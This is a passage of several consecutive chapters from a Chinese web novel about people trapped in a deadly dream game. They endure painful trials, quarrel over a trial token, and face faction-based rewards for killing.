说完她看了一眼白羽楠,有些话虽然没有说出口,可明眼人都心知肚明,这种绑架式的说服,是要确保没有人会选择背叛这条路。 白羽楠被她这么一说,心里有些不舒服,双手抱臂,气恼地说:“爱信不信,我自己的人品也没什么好向你们证明的。” 禾苒笑着拍了拍白羽楠的胳膊,和气地说:“瞧你说的,小白的人品我还是信的。” 这时,吴樊祐出言讥讽:“你自己的人品都不好说,还好意思担心别人。” “你说什么呢?”禾苒凶狠地瞪了吴樊祐一眼。 吴樊祐耸了耸肩,轻描淡写地说:“没什么,我不信你会为了曾勇回来,也不信肖雪会为了陈奇回来。” 此话一出,禾苒顿时火冒三丈,她一向与吴樊祐气场不合,对此人可谓厌恶至极,本想回怼几句,但白羽楠挥着手拦在了二人之间。 “行了,他就这样,别理这疯狗。”白羽楠劝下禾苒,斜眼瞟了瞟吴樊祐,又没好气地对他说,“你能不能别跟个小学生一样,谁都跟你有仇吗?” 吴樊祐没有发火,依然一副冷淡的模样,说:“没仇,只是觉得这多余的戏挺蠢的,谁会被分配到火系小考不是一目了然么,这世上懂得操纵抽签结果的又不止她一个。” “啊?”白羽楠一脸茫然,浑然不知他究竟想表达什么。 可禾苒和肖雪的脸色明显变了,禾苒的目光自然而然投向了肖雪,而肖雪始终保持着沉默,只是因为吴樊祐的一句话,她看上去更加紧张了。 俞小澄一直觉得怪怪的,却又说不清怪在哪里,听了吴樊祐的话,她感觉心中的疑团渐渐解开了。 肖雪太沉默了,如果陈奇给了她□□,却无法送她入考场,她不应该如此冷静。 按照她的性格,怎么也该及时与其他人打好关系,确保就算无法离开仙门,也能得到他人帮忙,就像她当初贿赂禾苒拿下雏菊房那样。 可她似乎根本不担心其他人离开仙门后会背叛,因为她确定,能通过火系小考离开仙门的肯定是她自己吗? 这样的怀疑在看见肖雪的反应后愈发深重,俞小澄忍不住问道:“陈奇手里有我们不知道的规则,对吗?” 禾苒一把抓住肖雪的胳膊,急切地询问:“陈奇到底在打什么主意?你倒是说啊。” “我不知道你们在说什么。”肖雪紧张地否认。 禾苒并不跟她废话,眼神陡然凶狠起来,声音阴沉地说道:“陈奇被关禁闭了,你觉得谁能护得住你?” 肖雪闻言浑身一颤,咽了咽口水,面色有些泛白:“我……” 见她犹豫不决,禾苒松开了她的胳膊,冷笑道:“你不说也无所谓,但今后会发生什么就不好说了。” “你、你想做什么?”肖雪谨慎地往后退了一步。 吴樊祐突然插话道:“她能做什么呀,施烨到底死在谁手上,你仔细想想吧。” 这句话顿时让整个场面如同结冰了一样,肖雪是恐惧,白羽楠是惊讶,禾苒是气愤,谁也没有说话。 俞小澄只觉尴尬,偷偷拉了拉吴樊祐的衣袖,头疼地低声问道:“你说这些干嘛……” 吴樊祐嬉皮笑脸地低声回答:“我这不是帮她么!” 下一刻,禾苒咬着牙怒道:“我看你是疯了,逮谁咬谁,胡说八道什么喃!” 吴樊祐若无其事地对肖雪说:“哦,她说不是她杀的,你自己考虑吧。” 看着肖雪犹疑的眼神,禾苒沉默了,如今认也不是,不认也不是,只能沉默应对。 肖雪犹豫半晌,艰难地开口道:“如果我说了,你们能保证今后不为难我吗?” “这是自然,陈奇是陈奇,你是你。”禾苒说。 肖雪缓缓从兜里掏出一块巴掌大的木质令牌,令牌四边雕琢着精美的花纹,中间雕刻着一个“火”字。 这是陈奇交给肖雪的,他的确比其他人知道得更多,比如通过小考的弟子,可以获得该考场的令牌,下一次可凭令牌再次参与同类考核。 也就意味着,肖雪可以拿着令牌直接前往火系考场,而不用等待分配。 不等肖雪反应,肖雪便一把夺过令牌,笑道:“既然大家已经坐在一条船上,那就一起决定由谁出去吧。” 每个人都有自己的小心思,如果可以,自然希望自己可以出去,可不管是禾苒,还是肖雪,亦或是白羽楠,都免不了让人怀疑会背刺。 思来想去,这人选便落在了俞小澄和吴樊祐身上。 白羽楠:“如果要选,我就选小澄姐,她没这么多歪心思。” 肖雪:“俞小澄的话,我没意见。” 禾苒:“这两个人都可以,但我不想跟吴樊祐那条疯狗呆在一起,碍眼。” 白羽楠:“同意。” 肖雪:“有理。” 三个女生似乎在抵制吴樊祐这件事上达成了共识,一致决定将令牌交给吴樊祐,由吴樊祐去挑战火系试炼,并负责明日带回食物。 这奇怪的剧情走向让俞小澄哭笑不得,她没想到曾经校园里的万人迷沦为了万人嫌,反倒是她这个曾经处处遭人孤立的人,成了别人眼里值得相信的人。 俞小澄望着吴樊祐,心里感慨万千,悄声问道:“你以前不是挺会讨女孩子欢心的么?” 吴樊祐面对“集体抵制”始终一副无所谓的样子,脸不红心不跳,说:“学姐别讨厌我就行。” 俞小澄一愣,她依然觉得看不懂吴樊祐,时常不知道他究竟在想什么,他似乎看谁都不顺眼,嘴上不留情面,可对她却又总是讨好的。 没过多久,被吴樊祐骗去正殿的老者回到了修行台,一看新弟子又少了两个,不高兴地念叨:“你们是我带过最差的一届,怎么每天都有人逃课,太不像话了。” 对于他的牢骚,白羽楠三人似乎已经习以为常,直接就当没听到,任由他独自一人絮絮叨叨,直到说厌了才没趣地停了下来。 “对了,刚才是哪个混账小子骗我去正殿的?”老者眼睛眯成两条缝,厉声质问。 其他人不发一言,吴樊祐也抬头望天,假装听不见。 老者眯着眼睛看过来看过去,恨不得将人看穿似的,他皱了 43. 梦境(二) 《我好像住进了黑店》全本免费阅读 这雨下得猝不及防,几滴细雨落在俞小澄脸上,她摸了摸脸,又抬头往上望,天花板看上去并无异常,可无数雨滴正从天花板凭空出现,疯狂砸向地面。 刚开始是蒙蒙细雨,不一会儿,雨滴越来越密,最终汇聚成大滴大滴的水珠,从天花板倾泻而下,在地上砸出一朵朵水花,噼里啪啦的响声陡然响彻整个房间,回声使其加剧。 很快,地面积起小水滩,俞小澄也成了落汤鸡,狼狈不堪地用手遮挡着砸向脸部的雨水。 “这就是郝元青所谓的水?”俞小澄伸出一只手,用手心接了几滴雨水,脑子里乱作一团。 如果水是以这种形式出现,那绣花针呢? 她心里隐隐不安,一边用手为眼睛挡雨,一边俯身在地面寻找着什么东西,可地上除了积水并没有别的。 正疑惑时,忽然后背传来一阵尖锐的刺痛感,她忍不住低哼一声站直了身子,下意识地转了个身,身后什么也没有。 她反手循着后背疼痛处抹去,手指竟触碰到一个坚硬物,那东西很细,直直插入了皮肤里,她忍着痛将那根东西拔出,放到眼前一看,居然是一根食指长短的绣花针。 心里不安的感觉蓦然加剧,郝元青多说的绣花针也藏在这场大雨里! 俞小澄快步退到墙边,并将帽子拉起来盖住了脑袋,虽然她知道作用不大,从高处垂直下落的绣花针可以轻松穿透布料。 很快,这种想法就被证实,头顶又传来一阵刺痛,她又从头顶拔下来一根绣花针。 这哪里是什么小考,分明就是酷刑。 “姐姐你没事吧?” 招财进宝飞在空中,一脸焦急地望着俞小澄,他们并不受这场大雨的影响,雨水无法打湿他们的衣服,而绣花针也伤不到他们。 或者可以说,无论是雨水还是绣花针,都无法碰触到他们,会直接穿过他们的身体,就仿佛对他们来说,这些都是幻觉,可对俞小澄来说又是真真实实存在的。 “怎么办,这是这场梦境中所谓的法术所化,无法伤害我和进宝,却可以伤害姐姐你。”招财拼命挥舞着双手,试图替俞小澄拍开落下的雨水和绣花针。 可惜,他们的任何举动都是徒劳的,接连又有两根针刺进了俞小澄的皮肤里。 “没关系,你们帮我看看地上有没有针。”俞小澄双手抱着脑袋,尽量避免绣花针伤到头和脸,“他们是来真的啊……看来不找够一百根绣花针,我就算没被针扎死,也会被水淹死。” 她看着房间里已经有鞋底深的积水,心中百感交集。 招财进宝闻言分头在房间里巡视,他们贴近地面,依靠着昏黄闪烁的烛光寻找着绣花针的踪迹,过了许久,一无所获。 墙上的烛火因为雨水的侵袭而摇曳不止,艰难地支撑了一会儿,最终还是难逃熄灭的命运,房中顿时一片漆黑,只有藏着绣花针的雨水义无返顾地砸向地面,试图将整间房间占据。 俞小澄不相信只有自己站的地方才会下针雨,莫非这些针还有导航定位不成? 在这雨声震天的房间里,她努力让自己冷静,思考着该如何让自己走出困境。 身上时不时传来刺痛,反复折磨着她的神经,绝望悄然在心底滋生,带出几滴不甘心的眼泪。 “生活真的好累,我也想歇歇……” 一句话在脑海中模模糊糊回响起来,带着几分熟悉的味道。 霎时间,俞小澄浑身一激灵,回过神来,似是被这句话吓了一跳,震惊于自己怎么会有这样恐怖的想法。 俞小澄甩了甩脑袋,小心翼翼地将插在身上的针一根根收集起来,放入檀木针筒里,又伸手取下一节蜡烛。 “来帮我一下。”俞小澄朝着黑暗中高呼一声,随后将衣服脱了下来。 “姐姐你还有闲心洗澡啊?”招财飞到俞小澄身旁,捂着眼睛说道,接着就被赶来的进宝打了一巴掌。 俞小澄没有闲心与他们开玩笑,让二人帮自己牵起衣服四角充当雨棚,自己则用打火机点亮蜡烛,俯身照着地面仔细观察着。 “哦,我知道了,姐姐是要用衣服接绣花针对吧?”招财一副恍然大悟的模样。 可下一秒,又有两根针扎在了俞小澄的后背上,疼得她倒吸一口凉气,咬着牙将绣花针拔出收好。 果然,衣服没法彻底防御针雨。 俞小澄又看了看脚下四周,依旧没有在积水中找到一根遗漏的绣花针。 “不会真有自动锁敌系统吧……”俞小澄小声嘀咕。 密密麻麻的水滴落下,溅起无数大大小小的水花,俞小澄很难用肉眼分辨落下的水滴中是不是藏着绣花针。 继续俯身看了一会儿,忽然她感觉落下的雨滴在烛光照耀下闪了一下,随即落进积水中溅起一朵水花,可等水花散去,水下什么都没有。 俞小澄分明觉得刚才的光是绣花针的反光,可地面上并没有绣花针的影子,她只能怀疑是自己看错了。 这时又有一根针刺入了她拿着蜡烛的手背,疼得她险些将蜡烛甩出去。 再次忍痛拔出绣花针,手背上留下一个骇人的针眼,渐渐涌出一粒血珠,被手背上的水晕染开,滴落,留下一道弯弯扭扭的血痕。 不知何时,她身上已经留下了不少这样的血痕,又在雨水的冲刷下逐渐淡去。 俞小澄看着指间的绣花针若有所思,接着她慢慢分开手指,绣花针脱手,向地面坠去。 这一次,俞小澄清楚地看到绣花针落入水中,在碰触到地面的瞬间,化成无数细小的气泡,消失得毫无痕迹。 原来是这样,绣花针不能落地! 所以她无法寄希望于从水中捞取绣花针。 得出结论后,俞小澄只觉恐惧,这就意味着,她要想收集起一百根绣花针,只能纯靠身体接针。 她忍不住打开檀木针筒的盖子,仔细数了数里面绣花针的数量。 九根,还差九十一根,她就可以离开这间房了。 可是当痛苦转化为实实在在的数量,一股无形的压力沉甸甸地压在她心上,心脏扑通扑通直跳,连带着呼吸都急促起来。 她很想哭,可是哭又有什么用 44. 梦境(二) 《我好像住进了黑店》全本免费阅读 冰冷的雨水拍打在俞小澄的后背,疼痛感持续不断,折磨着她的神经,消磨着她的意志。 一想到还需要像这样接住三十根绣花针,她的身体诚实地表现出抗拒。 招财想了想说道:“姐姐,你要不蹲在水里躲一躲,我和进宝用衣服接针就行,虽然很慢,但总好过你受伤啊。” 进宝点头附和:“这破针简直就跟发射出来的一样,我们越往高处飞,它穿透衣服的力道越大,不过尝试这么多次后,还是找到点窍门,我们贴着水面飞行,运气好还是能接到几根的……” 嘴上虽安慰,可说话的语气中明显透着点心虚,她所谓的窍门,也就接到了四根绣花针。 俞小澄看着丝毫没有减弱的雨势,又看了看没过膝盖的积水,她知道,留给她的时间不多了。 要不了两个时辰,雨水就能灌满整个房间,届时,她就算没死在绣花针下,也会被淹死。 她按照招财的话,缓缓坐进了水里,虽然雨水浸泡伤口开始有些疼,但稍微适应后,冰冷的水既可使伤口处的血液凝固不再往外渗血,又能麻木浑身痛感,反而让她冷静了下来。 她用手护住露在水面上的脑袋,思索着接下来该怎么办。 绣花针依然不管不顾往她身上招呼,有的被她手臂拦下,有的插入水中,在水阻力的作用下,刺入俞小澄皮肤的力道也变弱了些,甚至有一些刚撞上她的裤子,就几乎没了力道,转而缓缓往地面掉。 “水!”俞小澄眼前一亮,激动地喊道,“你们将衣服浸到水里,越靠近地面越好。” “啊,浮力,我怎么没想到。”招财立刻意会,拉着进宝一头栽进了水里。 他们不像俞小澄,可以自由地在水里活动,仿佛那水不存在一样。 俞小澄放平双腿坐着,希望能用裤子挡下几根绣花针,而双手始终护在头顶,继续用疼痛换取绣花针。 又过了一会儿,她无法再保持双腿平放的坐姿,因为水面已经漫过了她的鼻子。 她将身上又搜集到的七根绣花针放进檀木针筒里,从水里站了起来。 也正是这个时候,招财进宝拉着衣服浮出水面,手舞足蹈地说道:“差不多够啦!” 俞小澄急忙伸手摸索着衣服上的绣花针,一边数一边将它们装入檀木针筒。 当放入第一百根时,伴随着雨声的骤然消失,雨停了,烛火亮起,房中的积水如同被地面吸收一般,迅速下降,不一会儿,一滴水都不剩了。 整间房间里,只有俞小澄浑身湿透,嘀嗒嘀嗒地往下滴着水。 咯吱一声响,房门自动打开了。 俞小澄穿上还在滴水的衣服,浑身虚脱地一步一步挪向门外。 走出房间第一眼,俞小澄便看见了戴着面具的郝元青,他带着一脸和煦的笑迎上前来。 “恭喜小鱼师妹通过水系试炼,这是通关奖励。” 郝元青说着递上一块木质令牌,令牌上刻着一个“水”字,他继续说道:“下次,小鱼师妹可凭此令牌选择水系试炼。” 我选你妹啊! 俞小澄感觉心里有上万只草泥马奔腾而过,可浑身的疼痛感让她无力发火。 眼前的人只关心她是否能通过弟子小考,对于她是死是活丝毫不在意,如今再看那和煦的笑容,也变得狰狞起来。 可即便如此,她也只能无奈接受,这就是梦境的规则。俞小澄沉重地叹了一口气,感觉胸口有挥之不散的浊气,压得她有些气紧。 “其他人呢?”俞小澄声音低沉地问了一句。 郝元青抬手示意她去往楼梯,并云淡风轻地说:“火系试炼的新弟子已经下山了,其他人还在试炼中。” “下山了?”俞小澄听到消息,先是松了一口气,可紧接着又觉得奇怪,“不是要等到傍晚加入历练小队才能下山吗?” 郝元青轻声笑道:“没有这样的规矩,只是独自经过森林,或许会有危险,你要现在下山吗?” 俞小澄微微摇了摇头,以她现在的状态下山,跟送死没什么区别。 “为何今日的试炼与昨日不同?”俞小澄问。 “唉,今日商先生来信,听说妖族蠢蠢欲动,他连学生都送上山了,想必情况危急,掌门觉得新弟子应该尽快提升实力,所以让我们加大了试炼难度。看,小鱼师妹的实力如今便不容小觑!” 郝元青说着又夸奖起俞小澄,可俞小澄没感到一丝高兴,她险些在考场里丢了小命,考官却还能笑得出来,实在气得胸痛。 俞小澄默不作声地跟着郝元青离开五层塔,到了后院一处房屋,屋内简单摆着几张床,看样子是供弟子休息的地方。 “郝师兄,仙门可有伤药?”在郝元青离开前,俞小澄羞涩地问道。 可郝元青摇头道:“木系法术中有一门治愈术,不需要草药。” 然后就露出一种鼓励俞小澄自己动手丰衣足食的表情,看得俞小澄心里直骂娘。她不得不承认,幽兰梦境属实无厘头,她若真会什么法术,恐怕第一件事就是灭了仙门。 她无奈地问道:“那有多余的衣服吗?我衣服全湿了,总不好这样到处跑。” “哦,火系……” 郝元青刚一开口,俞小澄就赶忙打断道:“明白,可以施法弄干衣服是吧?我就觉得身为仙门弟子,终归该穿得像师兄这般得体面些。” 郝元青摸了摸下巴,点头道:“是师兄考虑不周,稍后让师弟给你们送衣服来。酉时初,历练小队会在山门集合,你若有兴趣,届时可以去找带队的师兄,出示令牌即可。” 郝元青离开后,没过多久就有弟子前来送衣服,总共送来四套,倒是考虑周到。 俞小澄忍痛换上仙门弟子的古装,这身衣服穿起来还算舒适,可惜没有口袋,只能用一个荷包将所有东西装起来,系在腰带上。 待一切收拾完毕,她疲倦地趴在了床上。一背密密麻麻的小洞,虽然没有流血了,可还在隐隐作痛,她只能以这样的姿势休息。 也许在冷水里泡了太久,她觉得头昏沉沉的,倦意袭来,迷迷糊糊就睡了过去。 等到她再醒来时,天都快黑了,可屋里依然只有她一人,这让她顿觉不妙。 会不会,其他人遇到的考题也和自己一样要命? 这样的念头在脑中闪过,心不由得七上八下,她从床上爬起身,活动了一下微麻的身体,感觉全身疼痛减轻了一些,便惴惴不安地往外走去。 她凭着记忆回到五层塔前,远远看见两个浑身是血的女人瘫坐在地上,急忙跑上前去。 可刚一靠近,俞小澄就发现空气中弥漫着一股焦味,略带着点油脂的味道 45. 梦境(二) 《我好像住进了黑店》全本免费阅读 听见萍萍的呼救声,白羽楠激动地想往林子里钻,被禾苒一把抓住,她气势汹汹地说:“你疯了?咱们自身难保,还浪费这时间?” “什么意思?”白羽楠一愣,“难道我们要见死不救吗?” 禾苒一脸冷漠地看着白羽楠,双手交叉抱臂,冷冷回道:“黑灯瞎火的,谁知道林子里有什么危险,俞小澄不是说过,老头就死在林子里,还有妖怪伪装成他的样子诱骗路人吗?” 白羽楠表情有些犹豫,听着林中呼救声逐渐微弱,却又拿不定主意:“万一是真的呢?” 禾苒瞥了一眼林中,眼神十分坚定:“我不会冒险,要去你们去。” 禾苒说完这句话,撇下俞小澄和白羽楠,径直往前走去。 今夜的月光格外明亮,倾斜地照在地上,将禾苒的影子拉得老长,在这条空寂的山路上显得些许诡异。 “禾苒,”俞小澄不放心地朝她喊道,“这森林古怪,最好别单独行动。” 禾苒脚下一顿,回头看了俞小澄一眼,嘴角微微扬起,问:“那你要跟我一起走吗?” 俞小澄有些为难,低声说道:“我陪白羽楠进林子里看看,万一呢……” 禾苒翻了个白眼,继续往前走去,背着二人挥了挥手,嘴里小声骂了一句:“两个蠢货……” “怎么办?要去吗?”白羽楠看着漆黑的林中咽了咽口水。 此时招财已经从林子里飞了回来,就在二人争论到底要不要救人时,俞小澄已经眼神示意招财去林子里转了一圈。 招财冲俞小澄点头说道:“就在前面不远,看样子是那个叫萍萍的女人,四周也没有其他人。” 俞小澄在周围捡了一些枯树枝和枯树叶堆放在路边,用打火机引燃,升起一堆火,对白羽楠说:“到时候如果发现情况不对,我们就朝有光的地方跑。” 白羽楠郑重地点了点头,而后又从自己所剩无几的裙子上撕下些布条,找了根树枝绑上,勉强做个简易火把用用。 二人借着火把的光往林中走去,有招财在前面带路,很快便在一棵大树后找到了萍萍。 一张渔网高高挂在树枝上,而萍萍如同落入陷阱的猎物一般躺在网中,她一只手穿过网眼伸了出来,手里正握着一把刀。 正对着渔网的地面,挖着一个约有两米深的大坑,坑里插满尖头木桩,树枝上的人若是落下,非死即伤。 “萍萍,你还好吗?这到底是怎么回事啊?”白羽楠看着眼前景象有些摸不着头脑。 “呜啊啊,终于有人来了,快救救我!”萍萍激动地在网里挣扎。 白羽楠赶紧喝住她:“你别慌!我们会想办法救你的!” “那、那你们快些,我都被吊这儿一天了,呜……我这都遭的什么罪啊,对了,阿宿!我家阿宿,你们看见了吗?那几个神经病,我要杀了他们!把阿宿还给我,阿宿,呜啊啊啊……” 萍萍委屈地大哭起来,边哭边骂,语无伦次,让人听不懂究竟想表达什么。 树下二人只觉得吵,可无论如何安慰,萍萍都不听劝,情绪不稳,一直唠唠叨叨个没完,二人无奈,只能假装听不到。 等到二人合力将萍萍从渔网中放出来,俞小澄才觉得有些奇怪,忙问萍萍发生了什么。 萍萍哭累了,情绪稍微稳定下来,一遍抽泣着一边缓缓道来。 “我也搞不清,昨天醒来就在森林里,吓死我了,还好很快听到阿宿的声音。后来我们在森林里迷路了,怎么也走不出去,索性当做野外露营,别有一番情趣。” 俞小澄与白羽楠相视一笑,心道这对小情侣真是心大。 “后来我们又遇上了那个叫鲁祥的工人,接着事情就变得奇怪起来。”萍萍似乎想到了什么恐怖的事,浑身不由自主颤抖起来。 这对小情侣与鲁祥在林中小溪边安营扎寨,体验了一把露营的乐趣。 一切本来还算顺利,阿宿和鲁祥身上都带有打火机,捡捡树枝便可轻易生火,而后又从小溪里捕鱼作为食物,偶尔体验原始生活还挺惬意。 可是这种无忧无虑的时光并没持续太久,三人在林中听到了老头的呼救。 萍萍觉得害怕,本是不愿管的,奈何阿宿和鲁祥实在太热心,她也不得不同意前去帮助那个并不相识的老头。 在一个塌陷的大坑里找到了老头后,阿宿和鲁祥在老头的指引下安全下到坑底,就在二人一前一后抬起老头往坡上走时,老头的表情突然变得阴鸷,嘴里神神叨叨说着“你们选错了”,然后一把抓住鲁祥开始撕咬。 阿宿当时就吓傻了,眼看着鲁祥被老人咬破喉咙,温热粘稠的血液喷了他一脸,他赶紧撒手,连滚带爬地逃了出来。 萍萍和阿宿惊魂未定地回到营地,恰好撞上寻到此处的三个高中生,他们身上也都带着伤,看上去像是被什么灼伤导致的。 阿宿跟他们说了那恐怖的一幕,想要带他们一起逃出森林,可三个高中生告诉他俩森林外更危险,他们正是从森林外逃进来的。 后来在三个高中生的劝说下,萍萍二人也觉得应该以营地为据点,做些陷阱防御,而非像无头苍蝇一样乱跑乱撞。 当时他们谁也没想到,会为自己的决定付出惨重代价。 当天夜里,二人正在睡梦中,那三个高中生突然发难,将二人绑了起来,而后三个高中生争吵起来,他们似乎在某件事上意见不统一,于是争吵个没完。 从三人的争执声中,萍萍渐渐听明白了一件事——他们在争论着到底要不要杀掉二人。 萍萍整个人都懵了,她不知道为何那三人会有如此疯狂的想法,她不记得哪里得罪了三人,她想要问清楚,可嘴被堵上根本说不出话来。 最后还是阿宿悄悄用打火机摆脱了身体束缚,并给萍萍松了绑,本来是想趁三人争执时逃走,可还是被三人发现了。 阿宿为了掩护萍萍逃跑,与三人纠缠到一起,只有萍萍一个人逃了出来。 “他们为何……”白羽楠震惊地瞪大了眼。 “所以,是他们把你吊在树上的?”俞小澄指了指丢在地上的渔网和树下陷阱问道。 萍萍摇了摇头,表情有些困惑:“不是他们,阿宿也不知道怎么样了……后来我没有再遇上那三个疯子,可是遇到了另一个莫名其妙的家伙。” 说起这个人,萍萍语气满含愤怒:“我在林子里遇到他,想求他去救阿宿,谁知他二话不说就将我打晕了。等我醒来,就 46. 梦境(二) 《我好像住进了黑店》全本免费阅读 带着温度的血溅了萍萍一脸,她松开压住女人的手,手脚因惊吓而瘫软,整个人摔倒在一旁,开始还随着石头落下发出尖叫,再后来整个人都吓傻了,万分惊恐地看着禾苒。 俞小澄浑身冰凉,仿佛血液凝固了一般,这一天发生了太多事,件件都刺激着她快要断裂的神经。 就在俞小澄呆若木鸡时,白羽楠已经回过神来,她尖叫着冲向禾苒,一掌将人推翻,再低头看那个脑袋血肉模糊的女人,她已经奄奄一息。 为时已晚,那女人没救了…… “禾苒!你是不是疯了!”白羽楠眼泪止不住地往下流,因为恐惧,也因为愤怒。 禾苒双手撑在地上,长发凌乱地披散在面前,半遮住她的脸,只见她僵硬的身体抖动起来,不知是不是因为冲动杀人的后怕。 俞小澄正想上前查看,便听到禾苒发出低沉的笑声,犹如癫狂了一般。 三人难以置信地望着禾苒,只见禾苒随意扔掉手中被血浆染红的石头,拍了拍满是血污的手,冷笑着站了起来。 “疯了?我是疯了,在这特么玩儿命的梦境里,谁能不疯?啊?”禾苒厉声怒吼,“我不杀她,现在躺在地上的人就是我!帮不上忙的人凭什么指手画脚!你们要当圣母别拉上我,我特么只要能活,什么都做得出!” 禾苒的怒吼声在林中回响,得到的回应是所有人的沉默,她似乎终于不想装了,狠狠一脚将石头踢向林中,抹了一把苍白的脸,冷眼看着脚边尸体一言不发。 是啊,面对处处想要杀掉自己的梦境,谁又能不疯呢? 俞小澄或许无法苟同,却也无力反驳。 “什么啊……这都什么啊……不会是玩真的吧?不会的,不会的,我只是在做梦,醒来就能再见到阿宿了,对,醒来就能见到阿宿了……” 这是萍萍进入梦境后第三次面对杀戮,内心的刺激实在太大,她只觉难以消化,双手抱着腿蜷缩在地上,脑袋埋在膝盖间,声音颤抖地念叨。 正在这时,几束火光照亮四周,从河边走来一队人,一身仙门弟子着装,手心上悬浮着一团幽蓝色的火球。 “怎么回事?你们三个怎么自己跑出来了,历练集合都能迟到?”领队师兄打量着在场四人,不悦地说道。 四人谁都没有说话,连蜷缩在地上的萍萍都安静下来,她抬起一张哭花的脸,失魂落魄地望着这些打扮怪异的人。 领队师兄走到近处,看了看躺在地上完全没了气息的尸体,话锋一转,兴奋地说道:“哟,这谁干的啊?一下山就立了一功,可以啊,五行试炼果然没白过啊。” 此话一出,与他同行的弟子也随声附和起来,无一不是夸奖着杀人者的能干。 “说什么呢!这可是杀人!”白羽楠怒气冲冲地骂道。 领队师兄轻哼一声,指着地上尸体说道:“你分辨妖怪的能力还有待提高,她是人是妖我还能看不出来?昨日修行时,蒲罗长老应该就跟你说过了吧,森林里藏着擅化人形的妖怪。说吧,这妖是你们谁杀的?” 禾苒与其他人一样诧异,茫然地举起了手。 领队师兄点头笑道:“不错,今后再接再厉。拿去,这是立功的奖励。”说罢,从腰囊中掏出五枚金币递到禾苒手里。 在场四人皆是一惊。白羽楠和萍萍惊讶的,是为何这人给的金币与变态给萍萍的一模一样;俞小澄和禾苒惊讶的,是杀人竟然是幽兰梦境的金币任务。 陈奇的话蓦地在俞小澄的脑海中响起——“幽兰梦境的关键,是阵营!” 恶灵就是想看玩家在选择中自相残杀,之前陈奇说这些时,俞小澄还没有实感,如今是真真切切感受到了梦境的恶意。 所以,真的要杀到对方阵营一个不剩时,这场梦境才会结束吗? 如果大家都不动手,坚持到最后时限,又会发生什么呢? 不,这不是唯一的解题思路。 一号客服曾说过,恶灵是可以消灭的,只要找到正确的道具,同样可以终结梦境。 可,怎么找出恶灵? 正确的道具又在哪里? 无数的疑问在俞小澄脑子里纠缠成团,令她头痛欲裂。 “噫,你们还救回一个村民?”领队师兄忽又指了指地上的萍萍,惊讶地问道。 萍萍一脸的不高兴,不客气地嚷道:“说谁村民呢?瞧你那土鳖的样子,你全家都是村民!” 领队师兄根本不理会萍萍,又从腰囊中拿出五枚金币,扔给了白羽楠,道:“行吧,也算替下河村做了件好事,这是奖励。好了,没事就先去书院歇息,今晚还要安排村里巡视。” 说罢,领队师兄向众人招手示意,带着一群人朝下河村走去。 白羽楠将金币交到俞小澄手里,疑惑地问道:“到底怎么回事啊?” 俞小澄将金币放入荷包收好,那里面已经躺了七枚金币,她言简意赅地向白羽楠与萍萍解释了金币任务与金币用途,心里却十分在意。 这场梦境里,所有金币任务都是一道关乎生死的选择题,救与不救,杀与不杀。 另外,从领队师兄的话中,俞小澄意识到,这里的阵营不止是仙门与妖族,还有第三方——村民。 仙门与妖族是敌对关系,而村民似乎更偏向仙门,那是不是意味着,仙门这个阵营更有优势呢? 袭击萍萍和阿宿的三个高中生大概率是妖怪阵营,可将萍萍吊在树上的变态又是什么阵营呢? 在不断的思索中,俞小澄跟着众人又回到了熟悉的书院,开门迎接他们的,是笑容可掬的商先生。 他看到浑身上下狼狈不堪的四个女人,甚是关切,将四人带到学生厢房,又亲自出门去请村里郎中。 与之前在仙门和森林的遭遇全然不同,商先生的体贴温柔让四人很是感激。 待到每个人伤势处理完毕,她们简单清洗了一番,接着俞小澄让其余三人换上了弟子服装。 随后,商先生给四人端来了甜羹,原本饥肠辘辘的四人不顾形象大快朵颐,终于从残血状态复活。 “能再见到小鱼姑娘,商某倍感欣慰。”商先生微笑道。 俞小澄一怔,没想到这个NPC还记得自己,她趁机问道:“不知商先生是否见过上回与我一道来书院的师弟?” “你是说吴公子?”商先生思考片刻说道,“实在抱歉,吴公子走后未再来过下河村。” 一旁的禾苒发出阴沉的冷笑,嘴里阴阳怪气地嘀咕道:“也不知道死哪儿去了,还好我们自己下山了,否则怕是要在山上等死了……真是靠不住……” 禾苒说话间还轻蔑地 47. 梦境(二) 《我好像住进了黑店》全本免费阅读 商先生曾说,伏妖炉所散发的香气于常人并无影响,可对妖怪却十分有效,只要身体被烟气缠绕,便会陷入昏睡。 “商先生当真没有说谎……” 俞小澄一边感叹,一边揭开香炉盖,把里面的香锥倒在地上,又拖着张尧挪动到了河边,掬起一捧水洒到他脸上,然后拍打着昏睡人的脸,不断唤着他的名字。 过了许久,张尧睁开了眼,迷迷糊糊地望着俞小澄,有些搞不清状况,缓了好久才回过神,诧异地问:“小澄姐,你怎么在这里?你是村民,还是仙门弟子?” 张尧的问题让俞小澄有些意外,听上去他知道的似乎也不少。 “仙门弟子。”俞小澄展示着身上的衣服,随后又谨慎问道,“你这两天一直在森林里?见到其他人了吗?你从妖族获得了什么线索?” 张尧先是愣了一秒,随后苦涩地笑了笑,徐徐道来:“看来这里的规则你都知道了……唉……我在森林醒来,运气说不清是好还是坏……” 张尧醒来时并不是一个人,恰好新住客老人也在附近,二人便一路同行,可没走几步就遇上一个长相怪异的妖怪。 他还没回过神就被妖怪抓住,妖怪的利爪掐住他的咽喉,并问老人救还是不救,老人太过善良,见状没有逃跑,回答了一个字——“救!” 谁知妖怪发出一阵狂笑,指着张尧说道:“你选错了,他是妖。” 然后就扔下张尧,张牙舞爪朝老人扑了上去,老人慌不择路,不慎摔进坑里受了重伤,凄惨地向张尧求救,张尧犹豫了。 他并不如老人那般善良,而且他从妖怪的话中嗅出一丝不同寻常的味道,于是他眼睁睁看着妖怪跳进坑里,结果了老人的性命并附到了老人身上。 那一刻,恐惧让张尧手脚冰凉,僵硬的身子直冒冷汗,连呼吸都快遗忘,脑子里不由自主地胡思乱想,他觉得自己杀人了。 后悔是有的,可他清楚,自己救不了老人,最后只会白白搭上自己的性命罢了。 老人死后,妖怪不再攻击张尧,甚至用老人苍老而沙哑的声音对张尧说道:“你走开,别在这儿碍事。” 这正是张尧所说的分不清幸与不幸的地方,他一进来就见识了梦境的恐怖之处,可也正是因为遇上这个妖怪,他知道了梦境的规则。 从妖怪的话中,他得知自己被划分妖族的身份,同时也知道了身为妖怪的使命:一是寻找村民当祭品,二是在仙门安插内应,三是斩下仙门弟子的头颅获取奖励。 而等到五日后,妖王封印能否解除,将决定整个妖族的生死存亡。 “其实我后来在林子里看见了你,看见附身老头的妖怪想故技重施诱骗你作出选择,还好你没上当。”张尧苦笑着说。 俞小澄诧异地望着张尧,回想起在森林中感受到的视线,无语地说道:“所以说,你就一直藏在暗处等着看我死?” 